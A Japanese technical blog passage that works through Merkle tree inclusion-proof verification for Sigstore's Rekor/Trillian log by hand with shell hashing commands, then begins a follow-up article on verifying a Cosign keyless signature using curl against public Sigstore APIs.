merkle/verify.go at 8e426287c6b7195f0a95f3b4fb1c92aa6a619ff0 · transparency-dev/merkle · GitHub

まず inner を計算します。

func innerProofSize(index, size uint64) int {
    return bits.Len64(index ^ (size - 1))
}

indexsize-1 でXORをとってビットの長さを計算しています。ここについてコメントで以下のように説明があります。

The splitting point between them is where paths to leaves |index| and |size-1| diverge.

これは上で説明したとおりです。 size - 1 は一番右側のリーフになるので、 indexsize - 1 のXORを取り最上位のビットを探すことで一番最初にこの2つのパスが分かれたレベルを探しています。

例えばリーフが6の例でEに着目すると、 size - 1 が5になってEのindexである4とXORを取ると 001 になります。最初の二回は同じパスで最後の一回が異なるというのを先程図で確認しました。001 に対して bits.Len64 は1を返します。 bits.Len64 の説明は以下です。

Len64 returns the minimum number of bits required to represent x; the result is 0 for x == 0.

サンプルでは以下のようになっています。

Len64(0000000000000000000000000000000000000000000000000000000000001000) = 4

この数値を表すための最小の表現は 1000 なので長さは4ということです。言い換えれば最初に現れる1を探していると言えると思います。そしてしつこいですが言い換えると最初にパスが分離するレベルを探しています。

次に border を計算します。

border := bits.OnesCount64(index >> uint(inner))

これはもう特に難しくないと思います。indexを inner 分ビットシフトすると outer が得られます。この outer のビットの中の1の数をカウントしています。上図の例で言えば E (=100) から inner (=1) ビットシフトすると 10 になります。 bits.OnesCount64 はポップカウントでビットの立っている数を返すため、この例では1が返ります。実際に outer における結合回数は上の図で見たとおり一度だけです。

プログラム的には最初 inner のレベルにおいては左右の判断が必要だが、そこを抜けて outer のレベルでは border の回数分だけ常に左と結合するだけで良い、ということです。

コードは以下です。

merkle/verify.go at 8e426287c6b7195f0a95f3b4fb1c92aa6a619ff0 · transparency-dev/merkle · GitHub

res := chainInner(hasher, leafHash, proof[:inner], index)
res = chainBorderRight(hasher, res, proof[inner:])

受け取ったinclusion proofのうち、 proof[:inner]chainInner を呼び出し proof[inner:]chainBorderRight を呼び出しています。名前やコメントからしても inner より上のレベルに行った場合は常に結合相手に対して右側にいる(右の部分木はない)と仮定して結合しているのが分かると思います。

// chainBorderRight chains proof hashes along tree borders. This differs from
// inner chaining because |proof| contains only left-side subtree hashes.
func chainBorderRight(hasher merkle.LogHasher, seed []byte, proof [][]byte) []byte {
    for _, h := range proof {
        seed = hasher.HashChildren(h, seed)
    }
    return seed
}

ソースコードを見ても proof (=h) は常に左側に置いて結合しています。

なるべく図を使って説明してきましたが、自分もふわっとした理解なせいもあって意味不明だったかもしれません。以上で概要の説明は終わりです。

手動で試す

Signed tree head (STH)

上でも述べましたが、CosignではこのSTH署名検証は現在(v1.13.0時点)行われていません。しかし以下のinclusion proofの計算は行っており、うーん?????となっています。root hashが信頼できないのにinclusion proofの計算する意味あるのか?!という気持ちです。

Inclusion proof

まずはリーフハッシュの計算を行います。これは実は前回の記事でも行いましたが、もう一度行っておきます。JSONの形を再度確認します。

$ jq -r '.["24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c"]' tlog.json
{
  "body": "eyJhcGlWZXJzaW9uIjoiMC4wLjEiLCJraW5kIjoiaGFzaGVkcmVrb3JkIiwic3BlYyI6eyJkYXRhIjp7Imhhc2giOnsiYWxnb3JpdGhtIjoic2hhMjU2IiwidmFsdWUiOiI2OTM5YmQxZmI0Y2YxZTgxMGVhZmNjYmY4YzY5OTI3N2NhYWU3MzY0NGNhNTlkYjFiMDhkZGE0NGY1NTg3ZjA1In19LCJzaWduYXR1cmUiOnsiY29udGVudCI6Ik1FWUNJUUNpWXZqc3BwOTVYZjNaZ3FJNTAzcTdlVUZzTjdmdVFLU3dXNFcwdHF0VERBSWhBUEJQUEk4SGREamkwUzU5U05RR1ZldUZuN0JoQTk2NFEzWi96enQ5d0lCaCIsInB1YmxpY0tleSI6eyJjb250ZW50IjoiTFMwdExTMUNSVWRKVGlCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2sxSlNVTnZWRU5EUVdsbFowRjNTVUpCWjBsVlJ6STJRV0V3YVN0TVVVcDNUMEZWUTJwWWJYTTRlRzFzV0U1cmQwTm5XVWxMYjFwSmVtb3dSVUYzVFhjS1RucEZWazFDVFVkQk1WVkZRMmhOVFdNeWJHNWpNMUoyWTIxVmRWcEhWakpOVWpSM1NFRlpSRlpSVVVSRmVGWjZZVmRrZW1SSE9YbGFVekZ3WW01U2JBcGpiVEZzV2tkc2FHUkhWWGRJYUdOT1RXcEplRTFFUVRWTlJHY3hUbFJGZWxkb1kwNU5ha2w0VFVSQk5VMUVhM2RPVkVWNlYycEJRVTFHYTNkRmQxbElDa3R2V2tsNmFqQkRRVkZaU1V0dldrbDZhakJFUVZGalJGRm5RVVZyTUVKdGFqRkJiek42UTBwbWRXVkdkMnd4YkRWNGJIWjNhMDkyZVRkTldVOUJObUVLYjFGR2FFMWxhRWd2ZFZCSmVURkJaMEl5TDFKdlVYUldVMWxEVFhwcFZrSlBSWGRJWWtwWEsyUlpkVWhWVGpWck56WlBRMEZWV1hkblowWkRUVUUwUndwQk1WVmtSSGRGUWk5M1VVVkJkMGxJWjBSQlZFSm5UbFpJVTFWRlJFUkJTMEpuWjNKQ1owVkdRbEZqUkVGNlFXUkNaMDVXU0ZFMFJVWm5VVlY0YTJoa0NtUklhR2hUTTNKUmJqSnJZV2hwVUZobllXbDFZVWc0ZDBoM1dVUldVakJxUWtKbmQwWnZRVlV6T1ZCd2VqRlphMFZhWWpWeFRtcHdTMFpYYVhocE5Ga0tXa1E0ZDBsQldVUldVakJTUVZGSUwwSkNXWGRHU1VWVFlUSTFlR1ZYV1hsT2FrNUJXakl4YUdGWGQzVlpNamwwVFVOM1IwTnBjMGRCVVZGQ1p6YzRkd3BCVVVWRlNHMW9NR1JJUW5wUGFUaDJXakpzTUdGSVZtbE1iVTUyWWxNNWMySXlaSEJpYVRsMldWaFdNR0ZFUTBKcFoxbExTM2RaUWtKQlNGZGxVVWxGQ2tGblVqaENTRzlCWlVGQ01rRkJhR2RyZGtGdlZYWTViMUprU0ZKaGVXVkZia1ZXYmtkTGQxZFFZMDAwTUcwemJYWkRTVWRPYlRsNVFVRkJRbWMzZGpBS2JYTkpRVUZCVVVSQlJXTjNVbEZKWjBwaFMyWnJVM3BIZVZKek1HZzNNSFUyVVdSVVVubEpOVTlCVm1vMFV6TkZhRkpxWkVGRlRVRk1ZalJEU1ZGRGNBcHFWSGR0ZFU1MmVTOU9SR0k0Y1VSYVNUbEVkVXhRVUdkWFpsRnJOR05STUU4eVlscDBiRE0wVWtSQlMwSm5aM0ZvYTJwUFVGRlJSRUYzVG05QlJFSnNDa0ZxUlVGNGJGbEZja3RtTW5ORVZHUlBZek55YWtGVldFcEpUbkZhZUdwck1taFBVelJOVkVrMmRFNU9VbnB5ZVVKREswRkpiVTF2Tm5KQmJFMTRkMjBLWjAxV2VVRnFRamgyTWs1bmRIVXpkamd6VkRCSmF5dEJRVkpYWjNwS1VXTlVkWEYzYWpsd04yeGtSM1ZUYTJ3ME0waFVPVXRWU21aaFNYWktNalJsUXdwNlZXbzRaVmRWUFFvdExTMHRMVVZPUkNCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2c9PSJ9fX19",
  "integratedTime": 1665305714,
  "logID": "c0d23d6ad406973f9559f3ba2d1ca01f84147d8ffc5b8445c224f98b9591801d",
  "logIndex": 4744101,
  "verification": {
    "inclusionProof": {
      "checkpoint": "rekor.sigstore.dev - 2605736670972794746\n581074\nBriWiM7dZr7prBLkpV+jMbqK0pzRvewwGFZfT7aCuIo=\nTimestamp: 1665306326592902697\n\n— rekor.sigstore.dev wNI9ajBFAiAq5Q68+U4+c7f+aIFC7WKsMRcYLHifitu0qLtjKQfCxQIhAPBFWBiz3nzlTazlVeOnM8JXrVwhykS0L1mXCeZ8qn09\n",
      "hashes": [
        "cc1a15893df16a2d596e03a42ac6ce6b98cf8cf86be3910bdd36223833689a85",
        "afec120963813d296b5820c20f899600540788dff18dc924f4dd557e04bdde45",
        "608be1e81cb15ac09f18eec8bbe0b37dd26fac8dab63883930a52e072459febd",
        "78049d975ede977b9e88b2d634edcedfb81f29b4e03dee144e30a52588cfba61",
        "3ea8b7e6f1db53f92f5079b9d08adc2edeb1be59d3f98b4f3c64c42e3c5669f8",
        "b2c166358bb5b4463aa261b199eb24678427c3dc59fe6fc2366bebf4d9b47bdd",
        "32004cfb7313c04b7ba472f660d4be9d5b0833014d53db150e1f77dc8159cdca",
        "b09bd5323de0eb0c83886b9127f091b712b555e3c67bcea80b5cc3f82b45c32a",
        "b0e41deda57b9e11b5bb5027004e34c7b22e0f36d1a9fabe4cbbb1019fb8d19c",
        "7799f078ae51c03583b31b0d6db843451d215f39b2d1adc14fc27abf4d18de98",
        "1d5eef2fc091b35fa481948f99fd66fcad99ac6ec8935073e093b9bbc238ed59",
        "26e30b1796943964266f3d0ebe8bb07fb2c4643b4b484aa491e2fd0141b2719b",
        "19714fb6b7db3e6f6d2036fac7667e78b7faf36b3a6dcddac6d04085df49fd06",
        "dbf30f96aa4c47533bb57d4bb3e9c8d5dc52c36a66fe3691968bbb858cdb9435",
        "e4560d2e44c7afdfafb28772f57fc932ab0c7fe5fee196bdd569f895e4227f61"
      ],
      "logIndex": 580670,
      "rootHash": "06b89688cedd66bee9ac12e4a55fa331ba8ad29cd1bdec3018565f4fb682b88a",
      "treeSize": 581074
    },
    "signedEntryTimestamp": "MEUCIHYBg6VLKjd5hnjRj34+mKp2KWObE4aCGFsPaWGsxlHgAiEA5JtI46YQE67uQBp1bbnUmO84fe90NKsusHJk1Vxle28="
  }
}

この bodyBase64デコードしたものの先頭に 0x00 をつけてハッシュすればよいのでした。

$ jq -r '.["24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c"].body' tlog.json | base64 -d | jq . > body.json
$ (echo -ne "\x00"; cat body.json) | sha256sum
aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c

ということでリーフハッシュを得ました。あとはinclusion proofと繋げてハッシュ計算をしていきます。inclusionProof の中身だけ proof.json などに書き出しておきます。

$ jq -r '.["24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c"].verification.inclusionProof' tlog.json > proof.json

まず inner を計算しますが、このためにはリーフの数が必要です。これは treeSize に入っています。今回は581074です。これから1引いて一番右端のリーフとし、logIndex とXORを取ります。logIndexinclusionProof 内にるのでこれを使います。ちなみに inclusionProof の外側にも logIndex がありますが、そちらではないです。自分はまさか2つあると思わずに最初外側の値を使っていて時間を無駄にしました(同じ名前にするのややこしいのでやめて欲しい)。今回の logIndex は580670です。

ではXORを取ります。

$ echo $((580670^(581074-1)))
495
$ echo -n 'obase=2;495' | bc
111101111

111101111 の長さは9なので inner = 9 であることが分かります。次に border ですが、 logIndex を9ビット右にシフトして立っているビットを数えれば良いです。

$ echo $((580670>>9))
1134
$ echo 'obase=2;1134' | bc | grep -o 1 | wc -l
6

ということで border = 6 でした。つまりLevel 9までは logIndex のビットを見て左右を判定し、それ以降は6回左側と結合すればよいです(自分が常に右側にいる)。ちなみに innerborder の合計数はハッシュ計算する回数と一致するため、 hashes の長さと一致しなくてはなりません。

$ jq -r ".hashes[]" proof.json | wc -l
15

ということで確かに inner = 9border = 6 の合計と一致しています。この検証もCosign内で行われています。

inclusion proofの1つ目のハッシュ値を見てみます。

$ jq -r ".hashes[0]" proof.json
cc1a15893df16a2d596e03a42ac6ce6b98cf8cf86be3910bdd36223833689a85

これを上で得たリーフハッシュに対して左右どちらに結合すれば良いのかを調べます。繰り返しになりますが、これは logIndex (=580670) のビットを見れば判定可能です。

$ echo 'obase=2;580670' | bc
10001101110000111110

logIndex10001101110000111110 なので最下位ビットが0であることから最初は木の左側にあることが分かります。つまり cc1a15893df16a2d596e03a42ac6ce6b98cf8cf86be3910bdd36223833689a85 を右側において結合すれば良さそうです。

$ echo -ne "\x01" > a
$ echo -n a55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c | xxd -r -p >> a
$ echo -n cc1a15893df16a2d596e03a42ac6ce6b98cf8cf86be3910bdd36223833689a85 | xxd -r -p >> a
$ sha256sum a
95ada66a7d8ca568794e9a2c364a02d07c6550bca5b229bd9670ae7ffaa781e4  a

ということでハッシュ値を得ました。あとは inner のLevel 9まで同様に繰り返し計算していくだけです。さすがに面倒だったのでシェルスクリプトを書いたのですが、それだったらもはや手動じゃないし普通にプログラム書けよって言われそうだったので「え!!手動でinclusion proofの計算を?!」「出来らぁっ!」ということで気合で手でやりました。自分は何と戦っているのでしょうか。

# Level 1: inclusion proofを左に置いて結合
$ (echo -ne "\x01"; \
echo -n afec120963813d296b5820c20f899600540788dff18dc924f4dd557e04bdde45 | xxd -r -p; \
echo -n 95ada66a7d8ca568794e9a2c364a02d07c6550bca5b229bd9670ae7ffaa781e4 | xxd -r -p) \
| sha256sum 
8e7c52b18e3d45f721b6f3e5acaa26d1c7fcabad46b6d2abe5f51bcd76470ce6  -

# Level 2: inclusion proofを左に置いて結合
$ (echo -ne "\x01"; \
echo -n 608be1e81cb15ac09f18eec8bbe0b37dd26fac8dab63883930a52e072459febd | xxd -r -p; \
echo -n 8e7c52b18e3d45f721b6f3e5acaa26d1c7fcabad46b6d2abe5f51bcd76470ce6 | xxd -r -p) \
| sha256sum
7f1f5967fc5b94dc023629c148b8e8d10e5c8272e48e529a0dd81442cb26777a  -

# Level 3: inclusion proofを左に置いて結合
$ (echo -ne "\x01"; \
echo -n 78049d975ede977b9e88b2d634edcedfb81f29b4e03dee144e30a52588cfba61 | xxd -r -p; \
echo -n 7f1f5967fc5b94dc023629c148b8e8d10e5c8272e48e529a0dd81442cb26777a | xxd -r -p) \
| sha256sum
884387bd3e198b5465904450c84c3007ba5a2f1d31a63161af09d61515663b62  -

# Level 4: inclusion proofを左に置いて結合
$ (echo -ne "\x01"; \
echo -n 3ea8b7e6f1db53f92f5079b9d08adc2edeb1be59d3f98b4f3c64c42e3c5669f8 | xxd -r -p; \
echo -n 884387bd3e198b5465904450c84c3007ba5a2f1d31a63161af09d61515663b62 | xxd -r -p) \
| sha256sum
380a408e0d035c4a24b16d2af3935b9a3f70593ee8bf53b0e8050ef8e6ef20d8  -

# Level 5: inclusion proofを左に置いて結合
$ (echo -ne "\x01"; \
echo -n b2c166358bb5b4463aa261b199eb24678427c3dc59fe6fc2366bebf4d9b47bdd | xxd -r -p; \
echo -n 380a408e0d035c4a24b16d2af3935b9a3f70593ee8bf53b0e8050ef8e6ef20d8 | xxd -r -p) \
| sha256sum
abc55c11d2749eaa8e65c3f97f7a338fd64a4998f4991fc946dd4896492b990d  -

# Level 6: inclusion proofを右に置いて結合
$ (echo -ne "\x01"; \
echo -n abc55c11d2749eaa8e65c3f97f7a338fd64a4998f4991fc946dd4896492b990d | xxd -r -p; \
echo -n 32004cfb7313c04b7ba472f660d4be9d5b0833014d53db150e1f77dc8159cdca | xxd -r -p) \
| sha256sum
e31926c9c9f415bc6f28b0af9e903ad506968abed079b9f318fe08bd70c8ba61  -

# Level 7: inclusion proofを右に置いて結合
$ (echo -ne "\x01"; \
echo -n e31926c9c9f415bc6f28b0af9e903ad506968abed079b9f318fe08bd70c8ba61 | xxd -r -p; \
echo -n b09bd5323de0eb0c83886b9127f091b712b555e3c67bcea80b5cc3f82b45c32a | xxd -r -p) \
| sha256sum
53fd8cdcb799bc77ddcb0b7009f7d9757ae2857096624fbfccfa9f0ba6f1c510  -

# Level 8: inclusion proofを右に置いて結合
$ (echo -ne "\x01"; \
echo -n 53fd8cdcb799bc77ddcb0b7009f7d9757ae2857096624fbfccfa9f0ba6f1c510 | xxd -r -p; \
echo -n b0e41deda57b9e11b5bb5027004e34c7b22e0f36d1a9fabe4cbbb1019fb8d19c | xxd -r -p) \
| sha256sum
a444a21f62222f79e53beb8951bb248fda73b22f9e244601aaa31cbbd1954a83  -

そして inner を抜けたらあとは border の回数分(今回は6回)、inclusion proofを左に置いて右から結合すればよいだけです。

# Level 9: inclusion proofを左に置いて結合
$ (echo -ne "\x01"; \
echo -n 7799f078ae51c03583b31b0d6db843451d215f39b2d1adc14fc27abf4d18de98 | xxd -r -p; \
echo -n a444a21f62222f79e53beb8951bb248fda73b22f9e244601aaa31cbbd1954a83 | xxd -r -p) \
| sha256sum
485a3c9bbdb8efd1a85daeb8b8539d75111257c3718c254ff5e1ced1b1ab2499  -

# Level 10: inclusion proofを左に置いて結合
$ (echo -ne "\x01"; \
echo -n 1d5eef2fc091b35fa481948f99fd66fcad99ac6ec8935073e093b9bbc238ed59 | xxd -r -p; \
echo -n 485a3c9bbdb8efd1a85daeb8b8539d75111257c3718c254ff5e1ced1b1ab2499 | xxd -r -p) \
| sha256sum
8cd88d2eba75f8b4925e3e767475a143495e93bc371c72d811a65a0bcda9e5f0  -

# Level 11: inclusion proofを左に置いて結合
(echo -ne "\x01"; \
echo -n 26e30b1796943964266f3d0ebe8bb07fb2c4643b4b484aa491e2fd0141b2719b | xxd -r -p; \
echo -n 8cd88d2eba75f8b4925e3e767475a143495e93bc371c72d811a65a0bcda9e5f0 | xxd -r -p) \
| sha256sum
1652f0d5a5786edf686fd9542aa894f61a0fe8316238ca6181f76d426d654171  -

# Level 12: inclusion proofを左に置いて結合
$ (echo -ne "\x01"; \
echo -n 19714fb6b7db3e6f6d2036fac7667e78b7faf36b3a6dcddac6d04085df49fd06 | xxd -r -p; \
echo -n 1652f0d5a5786edf686fd9542aa894f61a0fe8316238ca6181f76d426d654171 | xxd -r -p;) \
| sha256sum
97b9f5fab7df4afe0bbeec30bf4fd8321f2db603aa7e494b007c790bb8f1ea33  -

# Level 13: inclusion proofを左に置いて結合
$ (echo -ne "\x01"; \
echo -n dbf30f96aa4c47533bb57d4bb3e9c8d5dc52c36a66fe3691968bbb858cdb9435 | xxd -r -p; \
echo -n 97b9f5fab7df4afe0bbeec30bf4fd8321f2db603aa7e494b007c790bb8f1ea33 | xxd -r -p;) \
| sha256sum
a894dba1e82a44050d98c376ec7eb1856cd92f0a2dc669a1e6ec6a3b0b213db6  -

# Level 14: inclusion proofを左に置いて結合
$ (echo -ne "\x01"; \
echo -n a894dba1e82a44050d98c376ec7eb1856cd92f0a2dc669a1e6ec6a3b0b213db6 | xxd -r -p;) \
| sha256sum
06b89688cedd66bee9ac12e4a55fa331ba8ad29cd1bdec3018565f4fb682b88a  -

ということで 06b89688cedd66bee9ac12e4a55fa331ba8ad29cd1bdec3018565f4fb682b88a が得られました。これは確かに rootHash の値と一致しています。

これでようやくinclusion proofの計算ができました。

まとめ

何とかRekorのバックエンドとして使われているTrillianもそこそこ理解することが出来ました。これで長かったKeyless Signing連載も終了です。さすがに長過ぎて誰も読んでないと思うので、いつか概要版でも書くかもしれません。

しかしSTHを検証せずにinclusion proof計算するの意味がない気がしてならなくて夜も眠れません。

curlでKeyless Signingする (5) - Verify編

はじめに

Keyless Signing連載の最後の予定でしたが、もう一つ次にTrillianに関する記事を書いたので最後から二番目の記事です。

前回までで無事に署名を行うことができました。今回はそれを検証する側の処理を見ていきます。Cosign CLIを使った以下のコマンド相当になります。

COSIGN_EXPERIMENTAL=1 cosign verify-blob --signature foo.txt.sig foo.txt

この foo.txt.sigcosign sign-blob で生成されたものです。 foo.txt に対して署名が正しいかを検証しています。

ですが実はCosign v1.12.1の時点ではバグがあり常に検証が失敗します。他にも数多くバグがありCosignそのものはv1.0.0に到達はしていますが、Keylessの方はまだまだ安定には程遠い状態です。今回説明する挙動も少ししたら変わってしまう可能性があるので参考程度に考えてください。

現時点では verify-blob の主な処理は以下から始まります。

cosign/verify_blob.go at 63fe87501660595b7da9467078781e745272aa1b · sigstore/cosign · GitHub

全体像

最初に全体の流れを確認します。CLIフラグによって処理が変わってしまうため、上のように最低限必要なフラグ以外特に何も指定していない場合を想定しています。

  1. --signature で渡された署名をファイルから読み込む(上記の例では foo.txt.sig
  2. 渡されたファイルの中身を取り出す(上記の例では foo.txt
  3. Fulcioのルート証明書と中間証明書を取得する
  4. 署名対象のファイルのハッシュ値を使ってRekorでtlogを検索する
    1. UUIDの検証も行う
  5. tlog内の証明書を取り出して検証する
    1. Fulcioのルート証明書と中間証明書を使って証明書チェーンを検証する
    2. 指定されている場合はX.509拡張領域に含まれるメールアドレスやワークフローの情報の検証をする
    3. SCTが含まれる場合はSCTの検証を行う
  6. 渡された署名を検証する
    1. 上で取り出した証明書内の公開鍵を使って署名検証する
  7. tlogの検証を行う
    1. (root hashの署名検証)
    2. inclusion proofの検証
    3. SETの検証
    4. tlogの登録時刻が証明書の有効期限内であったことを確認

図にするまでもないですが、一応書いてみました。

一言で言ってしまえばRekorからtlogを取ってきて、その中に含まれる証明書を使って署名検証を行うというだけです。ただそのtlogは信頼できるのか?証明書はどこで誰が発行したのか?など様々な追加検証を必要とします。後半のtlog周りの検証がやや複雑なので最初に主な登場人物だけ図にしておきます。

この図は必要な要素を把握するための図であり、実際のJSONの構造などには厳密には対応していないので注意してください。

細かい部分は実際にやってみないと分からないと思うので早速やってみます。

手動で試す

上のフローのうち、最初の2つはファイルの中身を取り出すだけなのでスキップします。

Fulcioのルート証明書と中間証明書を取得する

以前の記事で説明したとおり、CosignではThe Update Framework (TUF)を使って証明書を落としてきます。今回は2つの証明書を適当にcurlで持ってきます。

$ curl -s -O https://sigstore-tuf-root.storage.googleapis.com/targets/fulcio_v1.crt.pem
$ curl -s -O https://sigstore-tuf-root.storage.googleapis.com/targets/fulcio_intermediate_v1.crt.pem

Rekorでtlogを検索する

まずはファイルのハッシュ値でtlogを検索して一覧を取得し、それぞれのtlogを個別に取得します。

検索API

まずCosignのリクエストを見ると以下のようになっていました。

> POST /api/v1/index/retrieve HTTP/1.1
> Host: rekor.sigstore.dev
> Accept: application/json
> Content-Length: 83
> Content-Type: application/json

{
    "hash": "sha256:167112362adb3b2041c11f7337437872f9d821e57e8c3edd68d87a1d0babd0f5"
}

/api/v1/index/retrieve にPOSTでハッシュ値を投げつければOKです。まず foo.txtハッシュ値を計算します。と言いたいところですが、自分が foo.txt の署名を登録しすぎてRekorのtlogが増えすぎて手元での検証に不向きになってしまいました。毎回使い捨ての鍵ペアを作って署名する関係上、同じファイルに対して全く同じフラグで cosign sign-blob を実行しても新しく署名が作られ新しいtlogがRekorに登録されます。

$ rekor-cli search --sha sha256:5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03
Found matching entries (listed by UUID):
24296fb24b8ad77a9e7a228364d0c667f0a0c17687bf48fa6bf005025cbe46b4af274e14cef2224a
362f8ecba72f4326907a8e725e8358c0ee2d050568fbc442472149d2d701a45828db074f941db393
362f8ecba72f4326aba9ebaacc89bf95412af8ad865351aadfb9ea554793fc8fb516ae926fa62f6b
37c85480b41ef39defbe46307406bcdeeafa20710ff9f47a1fc2af1fc4df5b44
4a51e6f4dbf1876e669a8c46135471c905e5f5b798b1f792a86fce853ef77ccc
9d58e3432062169fa43db2d22be96ebae349a3992b838ebf41907cc38aa40d8c
24296fb24b8ad77a8774957f3396300880ba34e722cdc50a4654da0f90a95ece464459ffcda8fafb
9a8d3150e86a1ef21e1b659b400ad326ccbdce325a68c2578a9c8082e09352ca
3172b0ad6ced7131d5dd5248398eba2e2da4226dac94e448733dbd4714526800
0de8bc75c2d6ad3bf27344dd8cd6c02306c886d40903b3e4ae9c5ca64cb11d77
...

このように同一ファイルに対する署名が大量に登録されています。微妙に長さの異なるIDが返ってきていますが、これは後述します。

今回は適当にランダムな文字列を書き込んで新しく test.txt を作ります。もし自分でも試してみたい人がいたらオリジナルなファイルでテストすることをおすすめします。

$ echo bp34Ja8wrx > test.txt 
$ COSIGN_EXPERIMENTAL=1 cosign sign-blob --output test.txt.sig test.txt

これで新しくRekorに test.txt のtlogが登録されました。署名は test.txt.sig に書き出されています。

では改めてファイルのハッシュ値を計算します。

$ openssl dgst -sha256 test.txt
SHA2-256(test.txt)= 6939bd1fb4cf1e810eafccbf8c699277caae73644ca59db1b08dda44f5587f05

この 6939bd1fb4cf1e810eafccbf8c699277caae73644ca59db1b08dda44f5587f05curlでPOSTします。これは検索APIなので、この test.txt に関連するtlogの一覧が返ってきます。

$ curl -H "Content-Type: application/json" \
     https://rekor.sigstore.dev/api/v1/index/retrieve \
     -d '{"hash": "6939bd1fb4cf1e810eafccbf8c699277caae73644ca59db1b08dda44f5587f05"}'
["24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c"]

今回は自分が直前に署名したものしか登録されていませんでした。24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c がそのtlogのEntry IDです。

取得API

Cosignのリクエストを覗くと以下のようになっています。

> GET /api/v1/log/entries/24296fb24b8ad77a46aa62553ea2b30f143f604e209da397af506fce5ef6c1f2c4772bc7e229a16d HTTP/1.1
> Host: rekor.sigstore.dev
> Accept: application/json

/api/v1/log/entries/ のあとに先程のtlogのEntry IDをつけてGETすれば良いようです。

$ curl https://rekor.sigstore.dev/api/v1/log/entries/24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c | jq . 
{
  "24296fb24b8ad77aa55d79859da86ed47339e32d51ad2a8b0640a49652f5cecf0f7eba06d2228e6c": {
    "body": "eyJhcGlWZXJzaW9uIjoiMC4wLjEiLCJraW5kIjoiaGFzaGVkcmVrb3JkIiwic3BlYyI6eyJkYXRhIjp7Imhhc2giOnsiYWxnb3JpdGhtIjoic2hhMjU2IiwidmFsdWUiOiI2OTM5YmQxZmI0Y2YxZTgxMGVhZmNjYmY4YzY5OTI3N2NhYWU3MzY0NGNhNTlkYjFiMDhkZGE0NGY1NTg3ZjA1In19LCJzaWduYXR1cmUiOnsiY29udGVudCI6Ik1FWUNJUUNpWXZqc3BwOTVYZjNaZ3FJNTAzcTdlVUZzTjdmdVFLU3dXNFcwdHF0VERBSWhBUEJQUEk4SGREamkwUzU5U05RR1ZldUZuN0JoQTk2NFEzWi96enQ5d0lCaCIsInB1YmxpY0tleSI6eyJjb250ZW50IjoiTFMwdExTMUNSVWRKVGlCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2sxSlNVTnZWRU5EUVdsbFowRjNTVUpCWjBsVlJ6STJRV0V3YVN0TVVVcDNUMEZWUTJwWWJYTTRlRzFzV0U1cmQwTm5XVWxMYjFwSmVtb3dSVUYzVFhjS1RucEZWazFDVFVkQk1WVkZRMmhOVFdNeWJHNWpNMUoyWTIxVmRWcEhWakpOVWpSM1NFRlpSRlpSVVVSRmVGWjZZVmRrZW1SSE9YbGFVekZ3WW01U2JBcGpiVEZzV2tkc2FHUkhWWGRJYUdOT1RXcEplRTFFUVRWTlJHY3hUbFJGZWxkb1kwNU5ha2w0VFVSQk5VMUVhM2RPVkVWNlYycEJRVTFHYTNkRmQxbElDa3R2V2tsNmFqQkRRVkZaU1V0dldrbDZhakJFUVZGalJGRm5RVVZyTUVKdGFqRkJiek42UTBwbWRXVkdkMnd4YkRWNGJIWjNhMDkyZVRkTldVOUJObUVLYjFGR2FFMWxhRWd2ZFZCSmVURkJaMEl5TDFKdlVYUldVMWxEVFhwcFZrSlBSWGRJWWtwWEsyUlpkVWhWVGpWck56WlBRMEZWV1hkblowWkRUVUUwUndwQk1WVmtSSGRGUWk5M1VVVkJkMGxJWjBSQlZFSm5UbFpJVTFWRlJFUkJTMEpuWjNKQ1owVkdRbEZqUkVGNlFXUkNaMDVXU0ZFMFJVWm5VVlY0YTJoa0NtUklhR2hUTTNKUmJqSnJZV2hwVUZobllXbDFZVWc0ZDBoM1dVUldVakJxUWtKbmQwWnZRVlV6T1ZCd2VqRlphMFZhWWpWeFRtcHdTMFpYYVhocE5Ga0tXa1E0ZDBsQldVUldVakJTUVZGSUwwSkNXWGRHU1VWVFlUSTFlR1ZYV1hsT2FrNUJXakl4YUdGWGQzVlpNamwwVFVOM1IwTnBjMGRCVVZGQ1p6YzRkd3BCVVVWRlNHMW9NR1JJUW5wUGFUaDJXakpzTUdGSVZtbE1iVTUyWWxNNWMySXlaSEJpYVRsMldWaFdNR0ZFUTBKcFoxbExTM2RaUWtKQlNGZGxVVWxGQ2tGblVqaENTRzlCWlVGQ01rRkJhR2RyZGtGdlZYWTViMUprU0ZKaGVXVkZia1ZXYmtkTGQxZFFZMDAwTUcwemJYWkRTVWRPYlRsNVFVRkJRbWMzZGpBS2JYTkpRVUZCVVVSQlJXTjNVbEZKWjBwaFMyWnJVM3BIZVZKek1HZzNNSFUyVVdSVVVubEpOVTlCVm1vMFV6TkZhRkpxWkVGRlRVRk1ZalJEU1ZGRGNBcHFWSGR0ZFU1MmVTOU9SR0k0Y1VSYVNUbEVkVXhRVUdkWFpsRnJOR05STUU4eVlscDBiRE0wVWtSQlMwSm5aM0ZvYTJwUFVGRlJSRUYzVG05QlJFSnNDa0ZxUlVGNGJGbEZja3RtTW5ORVZHUlBZek55YWtGVldFcEpUbkZhZUdwck1taFBVelJOVkVrMmRFNU9VbnB5ZVVKREswRkpiVTF2Tm5KQmJFMTRkMjBLWjAxV2VVRnFRamgyTWs1bmRIVXpkamd6VkRCSmF5dEJRVkpYWjNwS1VXTlVkWEYzYWpsd04yeGtSM1ZUYTJ3ME0waFVPVXRWU21aaFNYWktNalJsUXdwNlZXbzRaVmRWUFFvdExTMHRMVVZPUkNCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2c9PSJ9fX19",
    "integratedTime": 1665305714,
    "logID": "c0d23d6ad406973f9559f3ba2d1ca01f84147d8ffc5b8445c224f98b9591801d",
    "logIndex": 4744101,
    "verification": {
      "inclusionProof": {
